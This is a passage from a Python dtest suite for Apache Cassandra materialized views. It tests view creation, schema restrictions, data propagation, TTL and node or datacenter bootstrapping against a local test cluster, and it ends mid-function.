source
stringlengths
3
86
python
stringlengths
75
1.04M
materialized_views_test.py
import collections import re import sys import time import traceback import pytest import threading import logging from flaky import flaky from enum import Enum from queue import Empty from functools import partial from multiprocessing import Process, Queue from cassandra import ConsistencyLevel, InvalidRequest, WriteFailure from cassandra.cluster import NoHostAvailable from cassandra.concurrent import execute_concurrent_with_args from cassandra.cluster import Cluster from cassandra.query import SimpleStatement from distutils.version import LooseVersion from dtest import Tester, get_ip_from_node, create_ks from tools.assertions import (assert_all, assert_crc_check_chance_equal, assert_invalid, assert_none, assert_one, assert_unavailable) from tools.data import rows_to_list from tools.misc import new_node from tools.jmxutils import (JolokiaAgent, make_mbean, remove_perf_disable_shared_mem) since = pytest.mark.since logger = logging.getLogger(__name__) # CASSANDRA-10978. Migration wait (in seconds) to use in bootstrapping tests. Needed to handle # pathological case of flushing schema keyspace for multiple data directories. See CASSANDRA-6696 # for multiple data directory changes and CASSANDRA-10421 for compaction logging that must be # written. MIGRATION_WAIT = 5 @flaky @since('3.0') class TestMaterializedViews(Tester): """ Test materialized views implementation. @jira_ticket CASSANDRA-6477 @since 3.0 """ def _rows_to_list(self, rows): new_list = [list(row) for row in rows] return new_list def prepare(self, user_table=False, rf=1, options=None, nodes=3, install_byteman=False, **kwargs): cluster = self.cluster cluster.set_configuration_options({'enable_materialized_views': 'true'}) cluster.populate([nodes, 0], install_byteman=install_byteman) if options: cluster.set_configuration_options(values=options) cluster.start() node1 = cluster.nodelist()[0] session = self.patient_cql_connection(node1, **kwargs) create_ks(session, 'ks', rf) if user_table: session.execute( ("CREATE TABLE users (username varchar, password varchar, gender varchar, " "session_token varchar, state varchar, birth_year bigint, " "PRIMARY KEY (username));") ) # create a materialized view session.execute(("CREATE MATERIALIZED VIEW users_by_state AS " "SELECT * FROM users WHERE STATE IS NOT NULL AND username IS NOT NULL " "PRIMARY KEY (state, username)")) return session def update_view(self, session, query, flush, compact=False): session.execute(query) self._replay_batchlogs() if flush: self.cluster.flush() if compact: self.cluster.compact() def _settle_nodes(self): logger.debug("Settling all nodes") stage_match = re.compile(r"(?P<name>\S+)\s+(?P<active>\d+)\s+(?P<pending>\d+)\s+(?P<completed>\d+)\s+(?P<blocked>\d+)\s+(?P<alltimeblocked>\d+)") def _settled_stages(node): (stdout, stderr, rc) = node.nodetool("tpstats") lines = re.split("\n+", stdout) for line in lines: match = stage_match.match(line) if match is not None: active = int(match.group('active')) pending = int(match.group('pending')) if active != 0 or pending != 0: logger.debug("%s - pool %s still has %d active and %d pending" % (node.name, match.group("name"), active, pending)) return False return True for node in self.cluster.nodelist(): if node.is_running(): node.nodetool("replaybatchlog") attempts = 50 # 100 milliseconds per attempt, so 5 seconds total while attempts > 0 and not _settled_stages(node): time.sleep(0.1) attempts -= 1 def _build_progress_table(self): if self.cluster.version() >= '4': return 'system.view_builds_in_progress' else: return 'system.views_builds_in_progress' def _wait_for_view(self, ks, view): logger.debug("waiting for view") def _view_build_finished(node): s = self.patient_exclusive_cql_connection(node) query = "SELECT * FROM %s WHERE keyspace_name='%s' AND view_name='%s'" %\ (self._build_progress_table(), ks, view) result = list(s.execute(query)) return len(result) == 0 for node in self.cluster.nodelist(): if node.is_running(): attempts = 50 # 1 sec per attempt, so 50 seconds total while attempts > 0 and not _view_build_finished(node): time.sleep(1) attempts -= 1 if attempts <= 0: raise RuntimeError("View {}.{} build not finished after 50 seconds.".format(ks, view)) def _wait_for_view_build_start(self, session, ks, view, wait_minutes=2): """Wait for the start of a MV build, ensuring that it has saved some progress""" start = time.time() while True: try: query = "SELECT COUNT(*) FROM %s WHERE keyspace_name='%s' AND view_name='%s'" %\ (self._build_progress_table(), ks, view) result = list(session.execute(query)) assert 0 == result[0].count except AssertionError: break elapsed = (time.time() - start) / 60 if elapsed > wait_minutes: self.fail("The MV build hasn't started in 2 minutes.") def _insert_data(self, session): # insert data insert_stmt = "INSERT INTO users (username, password, gender, state, birth_year) VALUES " session.execute(insert_stmt + "('user1', 'ch@ngem3a', 'f', 'TX', 1968);") session.execute(insert_stmt + "('user2', 'ch@ngem3b', 'm', 'CA', 1971);") session.execute(insert_stmt + "('user3', 'ch@ngem3c', 'f', 'FL', 1978);") session.execute(insert_stmt + "('user4', 'ch@ngem3d', 'm', 'TX', 1974);") self._settle_nodes() def _replay_batchlogs(self): for node in self.cluster.nodelist(): if node.is_running(): logger.debug("Replaying batchlog on node {}".format(node.name)) node.nodetool("replaybatchlog") # CASSANDRA-13069 - Ensure replayed mutations are removed from the batchlog node_session = self.patient_exclusive_cql_connection(node) result = list(node_session.execute("SELECT count(*) FROM system.batches;")) assert result[0].count == 0 def _assert_view_meta(self, session, views, exists=True, nodes=2): if exists: assert_one(session, "SELECT COUNT(*) FROM system.built_views", [views]) if self.cluster.version() >= '3.11': assert_one(session, "SELECT COUNT(*) FROM system_distributed.view_build_status", [views * nodes]) else: assert_none(session, "SELECT * FROM system.built_views") if self.cluster.version() >= '3.11': assert_none(session, "SELECT * FROM system_distributed.view_build_status") assert_none(session, "SELECT * FROM {}".format(self._build_progress_table())) def test_view_metadata_cleanup(self): """ drop keyspace or view should clear built_views and view_build_status """ session = self.prepare(rf=2, nodes=2) def populate_data(session, rows): logger.debug("populate base data") for v in range(rows): session.execute("INSERT INTO t(k,c,a,b,e,f) VALUES({v},{v},{v},{v},{v},{v})".format(v=v)) def verify_data(session, rows, views): logger.debug("verify view data") for v in range(rows): for view in range(views): assert_one(session, "SELECT * FROM mv{} WHERE k={v} AND c={v}".format(view, v=v), [v, v, v, v, v, v]) def create_keyspace(session, ks="ks1", rf=2): create_ks(session, ks, rf) def create_table(session): logger.debug("create base table") session.execute("CREATE TABLE t (k int, c int, a int, b int, e int, f int, primary key(k, c))") def create_views(session, views, keyspace="ks1"): logger.debug("create view") for view in range(views): session.execute("CREATE MATERIALIZED VIEW mv{} AS SELECT * FROM t " "WHERE k IS NOT NULL AND c IS NOT NULL PRIMARY KEY (c,k)".format(view)) for view in range(views): self._wait_for_view(keyspace, "mv{}".format(view)) def drop_keyspace(session, keyspace="ks1"): logger.debug("drop keyspace {}".format(keyspace)) session.execute("DROP KEYSPACE IF EXISTS {}".format(keyspace)) def drop_views(session, views): logger.debug("drop all views") for view in range(views): session.execute("DROP MATERIALIZED VIEW IF EXISTS mv{}".format(view)) rows = 100 views = 5 create_keyspace(session) create_table(session) populate_data(session, rows) create_views(session, views) verify_data(session, rows, views) self._assert_view_meta(session, views) drop_keyspace(session) self._assert_view_meta(session, views, exists=False) create_keyspace(session) create_table(session) populate_data(session, rows) create_views(session, views) verify_data(session, rows, views) self._assert_view_meta(session, views) drop_views(session, views) self._assert_view_meta(session, views, exists=False) def test_create(self): """Test the materialized view creation""" session = self.prepare(user_table=True) result = list(session.execute(("SELECT * FROM system_schema.views " "WHERE keyspace_name='ks' AND base_table_name='users' ALLOW FILTERING"))) assert len(result) == 1, "Expecting 1 materialized view == got" + str(result) def test_gcgs_validation(self): """Verify that it's not possible to create or set a too low gc_grace_seconds on MVs""" session = self.prepare(user_table=True) # Shouldn't be able to alter the gc_grace_seconds of the base table to 0 assert_invalid(session, "ALTER TABLE users WITH gc_grace_seconds = 0", "Cannot alter gc_grace_seconds of the base table of a materialized view " "to 0, since this value is used to TTL undelivered updates. Setting " "gc_grace_seconds too low might cause undelivered updates to expire " "before being replayed.") # But can alter the gc_grace_seconds of the bease table to a value != 0 session.execute("ALTER TABLE users WITH gc_grace_seconds = 10") # Shouldn't be able to alter the gc_grace_seconds of the MV to 0 assert_invalid(session, "ALTER MATERIALIZED VIEW users_by_state WITH gc_grace_seconds = 0", "Cannot alter gc_grace_seconds of a materialized view to 0, since " "this value is used to TTL undelivered updates. Setting gc_grace_seconds " "too low might cause undelivered updates to expire before being replayed.") # Now let's drop MV session.execute("DROP MATERIALIZED VIEW ks.users_by_state;") # Now we should be able to set the gc_grace_seconds of the base table to 0 session.execute("ALTER TABLE users WITH gc_grace_seconds = 0") # Now we shouldn't be able to create a new MV on this table assert_invalid(session, "CREATE MATERIALIZED VIEW users_by_state AS " "SELECT * FROM users WHERE STATE IS NOT NULL AND username IS NOT NULL " "PRIMARY KEY (state, username)", "Cannot create materialized view 'users_by_state' for base table 'users' " "with gc_grace_seconds of 0, since this value is used to TTL undelivered " "updates. Setting gc_grace_seconds too low might cause undelivered updates" " to expire before being replayed.") def test_insert(self): """Test basic insertions""" session = self.prepare(user_table=True) self._insert_data(session) result = list(session.execute("SELECT * FROM users;")) assert len(result) == 4, "Expecting {} users, got {}".format(4 == len(result)) result = list(session.execute("SELECT * FROM users_by_state WHERE state='TX';")) assert len(result) == 2, "Expecting {} users, got {}".format(2 == len(result)) result = list(session.execute("SELECT * FROM users_by_state WHERE state='CA';")) assert len(result) == 1, "Expecting {} users, got {}".format(1 == len(result)) result = list(session.execute("SELECT * FROM users_by_state WHERE state='MA';")) assert len(result) == 0, "Expecting {} users, got {}".format(0 == len(result)) def test_populate_mv_after_insert(self): """Test that a view is OK when created with existing data""" session = self.prepare(consistency_level=ConsistencyLevel.QUORUM) session.execute("CREATE TABLE t (id int PRIMARY KEY, v int)") for i in range(1000): session.execute("INSERT INTO t (id, v) VALUES ({v}, {v})".format(v=i)) session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t WHERE v IS NOT NULL " "AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("wait for view to build") self._wait_for_view("ks", "t_by_v") logger.debug("wait that all batchlogs are replayed") self._replay_batchlogs() for i in range(1000): assert_one(session, "SELECT * FROM t_by_v WHERE v = {}".format(i), [i, i]) @pytest.mark.xfail(reason="Should be addressed with CASSANDRA-15845") @since('4.0') def test_populate_mv_after_insert_wide_rows_version40(self): self.test_populate_mv_after_insert_wide_rows() @since('3.0', max_version='3.X') def test_populate_mv_after_insert_wide_rows(self): """Test that a view is OK when created with existing data with wide rows""" session = self.prepare(consistency_level=ConsistencyLevel.QUORUM) session.execute("CREATE TABLE t (id int, v int, PRIMARY KEY (id, v))") for i in range(5): for j in range(10000): session.execute("INSERT INTO t (id, v) VALUES ({}, {})".format(i, j)) session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t WHERE v IS NOT NULL " "AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("wait for view to build") self._wait_for_view("ks", "t_by_v") logger.debug("wait that all batchlogs are replayed") self._replay_batchlogs() for i in range(5): for j in range(10000): assert_one(session, "SELECT * FROM t_by_v WHERE id = {} AND v = {}".format(i, j), [j, i]) def test_crc_check_chance(self): """Test that crc_check_chance parameter is properly populated after mv creation and update""" session = self.prepare() session.execute("CREATE TABLE t (id int PRIMARY KEY, v int)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t WHERE v IS NOT NULL " "AND id IS NOT NULL PRIMARY KEY (v, id) WITH crc_check_chance = 0.5")) assert_crc_check_chance_equal(session, "t_by_v", 0.5, view=True) session.execute("ALTER MATERIALIZED VIEW t_by_v WITH crc_check_chance = 0.3") assert_crc_check_chance_equal(session, "t_by_v", 0.3, view=True) def test_prepared_statement(self): """Test basic insertions with prepared statement""" session = self.prepare(user_table=True) insertPrepared = session.prepare( "INSERT INTO users (username, password, gender, state, birth_year) VALUES (?, ?, ?, ?, ?);" ) selectPrepared = session.prepare( "SELECT state, password, session_token FROM users_by_state WHERE state=?;" ) # insert data session.execute(insertPrepared.bind(('user1', 'ch@ngem3a', 'f', 'TX', 1968))) session.execute(insertPrepared.bind(('user2', 'ch@ngem3b', 'm', 'CA', 1971))) session.execute(insertPrepared.bind(('user3', 'ch@ngem3c', 'f', 'FL', 1978))) session.execute(insertPrepared.bind(('user4', 'ch@ngem3d', 'm', 'TX', 1974))) result = list(session.execute("SELECT * FROM users;")) assert len(result) == 4, "Expecting {} users, got {}".format(4, len(result)) result = list(session.execute(selectPrepared.bind(['TX']))) assert len(result) == 2, "Expecting {} users, got {}".format(2, len(result)) result = list(session.execute(selectPrepared.bind(['CA']))) assert len(result) == 1, "Expecting {} users, got {}".format(1, len(result)) result = list(session.execute(selectPrepared.bind(['MA']))) assert len(result) == 0, "Expecting {} users, got {}".format(0, len(result)) def test_immutable(self): """Test that a materialized view is immutable""" session = self.prepare(user_table=True) # cannot insert assert_invalid(session, "INSERT INTO users_by_state (state, username) VALUES ('TX', 'user1');", "Cannot directly modify a materialized view") # cannot update assert_invalid(session, "UPDATE users_by_state SET session_token='XYZ' WHERE username='user1' AND state = 'TX';", "Cannot directly modify a materialized view") # cannot delete a row assert_invalid(session, "DELETE from users_by_state where state='TX';", "Cannot directly modify a materialized view") # cannot delete a cell assert_invalid(session, "DELETE session_token from users_by_state where state='TX';", "Cannot directly modify a materialized view") # cannot alter a table assert_invalid(session, "ALTER TABLE users_by_state ADD first_name varchar", "Cannot use ALTER TABLE on Materialized View") def test_drop_mv(self): """Test that we can drop a view properly""" session = self.prepare(user_table=True) # create another materialized view session.execute(("CREATE MATERIALIZED VIEW users_by_birth_year AS " "SELECT * FROM users WHERE birth_year IS NOT NULL AND " "username IS NOT NULL PRIMARY KEY (birth_year, username)")) result = list(session.execute(("SELECT * FROM system_schema.views " "WHERE keyspace_name='ks' AND base_table_name='users' ALLOW FILTERING"))) assert len(result) == 2, "Expecting {} materialized view, got {}".format(2, len(result)) session.execute("DROP MATERIALIZED VIEW ks.users_by_state;") result = list(session.execute(("SELECT * FROM system_schema.views " "WHERE keyspace_name='ks' AND base_table_name='users' ALLOW FILTERING"))) assert len(result) == 1, "Expecting {} materialized view, got {}".format(1, len(result)) def test_drop_column(self): """Test that we cannot drop a column if it is used by a MV""" session = self.prepare(user_table=True) result = list(session.execute(("SELECT * FROM system_schema.views " "WHERE keyspace_name='ks' AND base_table_name='users' ALLOW FILTERING"))) assert len(result) == 1, "Expecting {} materialized view, got {}".format(1, len(result)) assert_invalid( session, "ALTER TABLE ks.users DROP state;", "Cannot drop column state on base table with materialized views." ) def test_drop_table(self): """Test that we cannot drop a table without deleting its MVs first""" session = self.prepare(user_table=True) result = list(session.execute(("SELECT * FROM system_schema.views " "WHERE keyspace_name='ks' AND base_table_name='users' ALLOW FILTERING"))) assert len(result) == 1, "Expecting {} materialized view, got {}".format(1, len(result)) assert_invalid( session, "DROP TABLE ks.users;", "Cannot drop table when materialized views still depend on it" ) result = list(session.execute(("SELECT * FROM system_schema.views " "WHERE keyspace_name='ks' AND base_table_name='users' ALLOW FILTERING"))) assert len(result) == 1, "Expecting {} materialized view, got {}".format(1, len(result)) session.execute("DROP MATERIALIZED VIEW ks.users_by_state;") session.execute("DROP TABLE ks.users;") result = list(session.execute(("SELECT * FROM system_schema.views " "WHERE keyspace_name='ks' AND base_table_name='users' ALLOW FILTERING"))) assert len(result) == 0, "Expecting {} materialized view, got {}".format(1, len(result)) def test_clustering_column(self): """Test that we can use clustering columns as primary key for a materialized view""" session = self.prepare(consistency_level=ConsistencyLevel.QUORUM) session.execute(("CREATE TABLE users (username varchar, password varchar, gender varchar, " "session_token varchar, state varchar, birth_year bigint, " "PRIMARY KEY (username, state, birth_year));")) # create a materialized view that use a compound key session.execute(("CREATE MATERIALIZED VIEW users_by_state_birth_year " "AS SELECT * FROM users WHERE state IS NOT NULL AND birth_year IS NOT NULL " "AND username IS NOT NULL PRIMARY KEY (state, birth_year, username)")) session.cluster.control_connection.wait_for_schema_agreement() self._insert_data(session) result = list(session.execute("SELECT * FROM ks.users_by_state_birth_year WHERE state='TX'")) assert len(result) == 2, "Expecting {} users, got {}".format(2, len(result)) result = list(session.execute("SELECT * FROM ks.users_by_state_birth_year WHERE state='TX' AND birth_year=1968")) assert len(result) == 1, "Expecting {} users, got {}".format(1, len(result)) def _add_dc_after_mv_test(self, rf, nts): """ @jira_ticket CASSANDRA-10978 Add datacenter with configurable replication. """ session = self.prepare(rf=rf) logger.debug("Creating schema") session.execute("CREATE TABLE t (id int PRIMARY KEY, v int)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("Writing 1k to base") for i in range(1000): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=-i)) logger.debug("Reading 1k from view") for i in range(1000): assert_one(session, "SELECT * FROM t_by_v WHERE v = {}".format(-i), [-i, i]) logger.debug("Reading 1k from base") for i in range(1000): assert_one(session, "SELECT * FROM t WHERE id = {}".format(i), [i, -i]) logger.debug("Bootstrapping new node in another dc") node4 = new_node(self.cluster, data_center='dc2') node4.start(wait_other_notice=True, wait_for_binary_proto=True, jvm_args=["-Dcassandra.migration_task_wait_in_seconds={}".format(MIGRATION_WAIT)]) logger.debug("Bootstrapping new node in another dc") node5 = new_node(self.cluster, remote_debug_port='1414', data_center='dc2') node5.start(jvm_args=["-Dcassandra.migration_task_wait_in_seconds={}".format(MIGRATION_WAIT)], wait_other_notice=True, wait_for_binary_proto=True) if nts: session.execute("alter keyspace ks with replication = {'class':'NetworkTopologyStrategy', 'dc1':1, 'dc2':1}") session.execute("alter keyspace system_auth with replication = {'class':'NetworkTopologyStrategy', 'dc1':1, 'dc2':1}") session.execute("alter keyspace system_traces with replication = {'class':'NetworkTopologyStrategy', 'dc1':1, 'dc2':1}") node4.nodetool('rebuild dc1') node5.nodetool('rebuild dc1') cl = ConsistencyLevel.LOCAL_ONE if nts else ConsistencyLevel.ONE session2 = self.patient_exclusive_cql_connection(node4, consistency_level=cl) logger.debug("Verifying data from new node in view") for i in range(1000): assert_one(session2, "SELECT * FROM ks.t_by_v WHERE v = {}".format(-i), [-i, i]) logger.debug("Inserting 100 into base") for i in range(1000, 1100): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=-i)) logger.debug("Verify 100 in view") for i in range(1000, 1100): assert_one(session, "SELECT * FROM t_by_v WHERE v = {}".format(-i), [-i, i]) @pytest.mark.resource_intensive def test_add_dc_after_mv_simple_replication(self): """ @jira_ticket CASSANDRA-10634 Test that materialized views work as expected when adding a datacenter with SimpleStrategy. """ self._add_dc_after_mv_test(1, False) @pytest.mark.resource_intensive def test_add_dc_after_mv_network_replication(self): """ @jira_ticket CASSANDRA-10634 Test that materialized views work as expected when adding a datacenter with NetworkTopologyStrategy. """ self._add_dc_after_mv_test({'dc1': 1}, True) @pytest.mark.resource_intensive def test_add_node_after_mv(self): """ @jira_ticket CASSANDRA-10978 Test that materialized views work as expected when adding a node. """ session = self.prepare() session.execute("CREATE TABLE t (id int PRIMARY KEY, v int)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) for i in range(1000): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=-i)) for i in range(1000): assert_one(session, "SELECT * FROM t_by_v WHERE v = {}".format(-i), [-i, i]) node4 = new_node(self.cluster) node4.start(wait_for_binary_proto=True, jvm_args=["-Dcassandra.migration_task_wait_in_seconds={}".format(MIGRATION_WAIT)]) session2 = self.patient_exclusive_cql_connection(node4) """ @jira_ticket CASSANDRA-12984 Assert that MVs are marked as build after bootstrap. Otherwise newly streamed MVs will be built again """ assert_one(session2, "SELECT count(*) FROM system.built_views WHERE keyspace_name = 'ks' AND view_name = 't_by_v'", [1]) for i in range(1000): assert_one(session2, "SELECT * FROM ks.t_by_v WHERE v = {}".format(-i), [-i, i]) for i in range(1000, 1100): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=-i)) for i in range(1000, 1100): assert_one(session, "SELECT * FROM t_by_v WHERE v = {}".format(-i), [-i, i]) def test_insert_during_range_movement_rf1(self): self._base_test_insert_during_range_movement(rf=1) def test_insert_during_range_movement_rf2(self): self._base_test_insert_during_range_movement(rf=2) def test_insert_during_range_movement_rf3(self): self._base_test_insert_during_range_movement(rf=3) def _base_test_insert_during_range_movement(self, rf): """ @jira_ticket CASSANDRA-14251 Test that materialized views replication work in the middle of a join for different replication factors. """ session = self.prepare(rf=rf) logger.debug("Creating table and view") session.execute("CREATE TABLE t (id int PRIMARY KEY, v int)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("Starting new node4 in write survey mode") node4 = new_node(self.cluster) # Set batchlog.replay_timeout_seconds=1 so we can ensure batchlog will be replayed below node4.start(wait_for_binary_proto=True, jvm_args=["-Dcassandra.write_survey=true", "-Dcassandra.batchlog.replay_timeout_in_ms=1"]) logger.debug("Insert data while node4 is joining") for i in range(1000): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=-i)) logger.debug("Finish joining node4") node4.nodetool("join") logger.debug('Replay batchlogs') time.sleep(0.001) # Wait batchlog.replay_timeout_in_ms=1 (ms) self._replay_batchlogs() logger.debug("Verify data") for i in range(1000): assert_one(session, "SELECT * FROM t_by_v WHERE v = {}".format(-i), [-i, i]) @pytest.mark.resource_intensive def test_add_node_after_wide_mv_with_range_deletions(self): """ @jira_ticket CASSANDRA-11670 Test that materialized views work with wide materialized views as expected when adding a node. """ session = self.prepare() session.execute("CREATE TABLE t (id int, v int, PRIMARY KEY (id, v)) WITH compaction = { 'class': 'SizeTieredCompactionStrategy', 'enabled': 'false' }") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) for i in range(10): for j in range(100): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=j)) self.cluster.flush() for i in range(10): for j in range(100): assert_one(session, "SELECT * FROM t WHERE id = {} and v = {}".format(i, j), [i, j]) assert_one(session, "SELECT * FROM t_by_v WHERE id = {} and v = {}".format(i, j), [j, i]) for i in range(10): for j in range(100): if j % 10 == 0: session.execute("DELETE FROM t WHERE id = {} AND v >= {} and v < {}".format(i, j, j + 2)) self.cluster.flush() for i in range(10): for j in range(100): if j % 10 == 0 or (j - 1) % 10 == 0: assert_none(session, "SELECT * FROM t WHERE id = {} and v = {}".format(i, j)) assert_none(session, "SELECT * FROM t_by_v WHERE id = {} and v = {}".format(i, j)) else: assert_one(session, "SELECT * FROM t WHERE id = {} and v = {}".format(i, j), [i, j]) assert_one(session, "SELECT * FROM t_by_v WHERE id = {} and v = {}".format(i, j), [j, i]) node4 = new_node(self.cluster) node4.set_configuration_options(values={'max_mutation_size_in_kb': 20}) # CASSANDRA-11670 logger.debug("Start join at {}".format(time.strftime("%H:%M:%S"))) node4.start(wait_for_binary_proto=True, jvm_args=["-Dcassandra.migration_task_wait_in_seconds={}".format(MIGRATION_WAIT)]) session2 = self.patient_exclusive_cql_connection(node4) for i in range(10): for j in range(100): if j % 10 == 0 or (j - 1) % 10 == 0: assert_none(session2, "SELECT * FROM ks.t WHERE id = {} and v = {}".format(i, j)) assert_none(session2, "SELECT * FROM ks.t_by_v WHERE id = {} and v = {}".format(i, j)) else: assert_one(session2, "SELECT * FROM ks.t WHERE id = {} and v = {}".format(i, j), [i, j]) assert_one(session2, "SELECT * FROM ks.t_by_v WHERE id = {} and v = {}".format(i, j), [j, i]) for i in range(10): for j in range(100, 110): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=j)) for i in range(10): for j in range(110): if j < 100 and (j % 10 == 0 or (j - 1) % 10 == 0): assert_none(session2, "SELECT * FROM ks.t WHERE id = {} and v = {}".format(i, j)) assert_none(session2, "SELECT * FROM ks.t_by_v WHERE id = {} and v = {}".format(i, j)) else: assert_one(session2, "SELECT * FROM ks.t WHERE id = {} and v = {}".format(i, j), [i, j]) assert_one(session2, "SELECT * FROM ks.t_by_v WHERE id = {} and v = {}".format(i, j), [j, i]) @pytest.mark.resource_intensive def test_add_node_after_very_wide_mv(self): """ @jira_ticket CASSANDRA-11670 Test that materialized views work with very wide materialized views as expected when adding a node. """ session = self.prepare() session.execute("CREATE TABLE t (id int, v int, PRIMARY KEY (id, v))") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) for i in range(5): for j in range(5000): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=j)) self.cluster.flush() for i in range(5): for j in range(5000): assert_one(session, "SELECT * FROM t_by_v WHERE id = {} and v = {}".format(i, j), [j, i]) node4 = new_node(self.cluster) node4.set_configuration_options(values={'max_mutation_size_in_kb': 20}) # CASSANDRA-11670 logger.debug("Start join at {}".format(time.strftime("%H:%M:%S"))) node4.start(wait_for_binary_proto=True, jvm_args=["-Dcassandra.migration_task_wait_in_seconds={}".format(MIGRATION_WAIT)]) session2 = self.patient_exclusive_cql_connection(node4) for i in range(5): for j in range(5000): assert_one(session2, "SELECT * FROM ks.t_by_v WHERE id = {} and v = {}".format(i, j), [j, i]) for i in range(5): for j in range(5100): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=j)) for i in range(5): for j in range(5100): assert_one(session, "SELECT * FROM t_by_v WHERE id = {} and v = {}".format(i, j), [j, i]) @pytest.mark.resource_intensive def test_add_write_survey_node_after_mv(self): """ @jira_ticket CASSANDRA-10621 @jira_ticket CASSANDRA-10978 Test that materialized views work as expected when adding a node in write survey mode. """ session = self.prepare() session.execute("CREATE TABLE t (id int PRIMARY KEY, v int)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) for i in range(1000): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=-i)) for i in range(1000): assert_one(session, "SELECT * FROM t_by_v WHERE v = {}".format(-i), [-i, i]) node4 = new_node(self.cluster) node4.start(wait_for_binary_proto=True, jvm_args=["-Dcassandra.write_survey=true", "-Dcassandra.migration_task_wait_in_seconds={}".format(MIGRATION_WAIT)]) for i in range(1000, 1100): session.execute("INSERT INTO t (id, v) VALUES ({id}, {v})".format(id=i, v=-i)) for i in range(1100): assert_one(session, "SELECT * FROM t_by_v WHERE v = {}".format(-i), [-i, i]) def test_allow_filtering(self): """Test that allow filtering works as usual for a materialized view""" session = self.prepare() session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) session.execute(("CREATE MATERIALIZED VIEW t_by_v2 AS SELECT * FROM t " "WHERE v2 IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v2, id)")) for i in range(1000): session.execute("INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0)".format(v=i)) for i in range(1000): assert_one(session, "SELECT * FROM t_by_v WHERE v = {v}".format(v=i), [i, i, 'a', 3.0]) rows = list(session.execute("SELECT * FROM t_by_v2 WHERE v2 = 'a'")) assert len(rows) == 1000, "Expected 1000 rows but got {}".format(len(rows)) assert_invalid(session, "SELECT * FROM t_by_v WHERE v = 1 AND v2 = 'a'") assert_invalid(session, "SELECT * FROM t_by_v2 WHERE v2 = 'a' AND v = 1") for i in range(1000): assert_one( session, "SELECT * FROM t_by_v WHERE v = {} AND v3 = 3.0 ALLOW FILTERING".format(i), [i, i, 'a', 3.0] ) assert_one( session, "SELECT * FROM t_by_v2 WHERE v2 = 'a' AND v = {} ALLOW FILTERING".format(i), ['a', i, i, 3.0] ) def test_secondary_index(self): """Test that secondary indexes cannot be created on a materialized view""" session = self.prepare() session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) assert_invalid(session, "CREATE INDEX ON t_by_v (v2)", "Secondary indexes are not supported on materialized views") def test_ttl(self): """ Test that TTL works as expected for a materialized view @expected_result The TTL is propagated properly between tables. """ session = self.prepare() session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 int, v3 int)") session.execute(("CREATE MATERIALIZED VIEW t_by_v2 AS SELECT * FROM t " "WHERE v2 IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v2, id)")) for i in range(100): session.execute("INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, {v}, {v}) USING TTL 10".format(v=i)) for i in range(100): assert_one(session, "SELECT * FROM t_by_v2 WHERE v2 = {}".format(i), [i, i, i, i]) time.sleep(20) rows = list(session.execute("SELECT * FROM t_by_v2")) assert len(rows) == 0, "Expected 0 rows but got {}".format(len(rows)) def test_query_all_new_column(self): """ Test that a materialized view created with a 'SELECT *' works as expected when adding a new column @expected_result The new column is present in the view. """ session = self.prepare(user_table=True) self._insert_data(session) assert_one( session, "SELECT * FROM users_by_state WHERE state = 'TX' AND username = 'user1'", ['TX', 'user1', 1968, 'f', 'ch@ngem3a', None] ) session.execute("ALTER TABLE users ADD first_name varchar;") results = list(session.execute("SELECT * FROM users_by_state WHERE state = 'TX' AND username = 'user1'")) assert len(results) == 1 assert hasattr(results[0], 'first_name'), 'Column "first_name" not found' assert_one( session, "SELECT * FROM users_by_state WHERE state = 'TX' AND username = 'user1'", ['TX', 'user1', 1968, None, 'f', 'ch@ngem3a', None] ) def test_query_new_column(self): """ Test that a materialized view created with 'SELECT <col1, ...>' works as expected when adding a new column @expected_result The new column is not present in the view. """ session = self.prepare(user_table=True) session.execute(("CREATE MATERIALIZED VIEW users_by_state2 AS SELECT state, username FROM users " "WHERE STATE IS NOT NULL AND USERNAME IS NOT NULL PRIMARY KEY (state, username)")) self._insert_data(session) assert_one( session, 